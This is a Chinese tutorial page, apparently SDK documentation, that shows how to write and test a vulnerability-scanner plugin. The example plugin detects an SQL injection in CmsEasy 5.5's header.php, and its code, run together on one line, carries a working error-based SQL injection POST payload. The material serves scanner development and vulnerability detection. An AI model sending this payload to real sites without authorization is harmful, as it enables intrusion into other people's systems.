- 编写插件
- 1. 编写
- 2. 测试
编写插件
1. 编写
开发者在本地编写插件代码,以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。
#!/usr/bin/env python# -*- coding: utf-8 -*-# __author__ = 'Medici.Yan'# 引入需要用到的标准库import urllib# assign 验证任务的指纹def assign(service, arg):if service == fingerprint.cmseasy: # 指纹为 cmseasyreturn True, arg # 返回类型为 tuple# audit 审计函数,通过指纹验证后调用该函数def audit(arg):# 此插件中 arg 为提交的网址# 构造要提交数据的目标 URLtarget = arg + '/celive/live/header.php'# 此漏洞要发送的 POST 数据(Payload)post_data = {'xajax': 'LiveMessage','xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(""floor(rand(0)*2),(select md5(233)))a from ""information_schema.tables group by a)b),""'','','','1','127.0.0.1','2') #"}# 通过 hackhttp 发送 Payload 到目标code, head, body, redirect_url, log = hackhttp.http(target, post=urllib.urlencode(post_data))# 验证是否存在漏洞if 'e165421110ba03099a1c0393373c5b43' in body:# 存在漏洞则输出目标 URLsecurity_hole(target, log=log)# 本地测试时需要加 main 用于调用if __name__ == '__main__':# 导入 sdkfrom dummy import *# 调用 audit 与 assignaudit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])
读者暂时无需关注插件编写具体内容,我们会在后面的章节中详细讲解如何编写。
2. 测试
将编写好的插件保存,例如文件名叫 demo.py, 直接在终端下运行该文件。如果存在漏洞,则会终端上会有 [LOG] 信息输出。
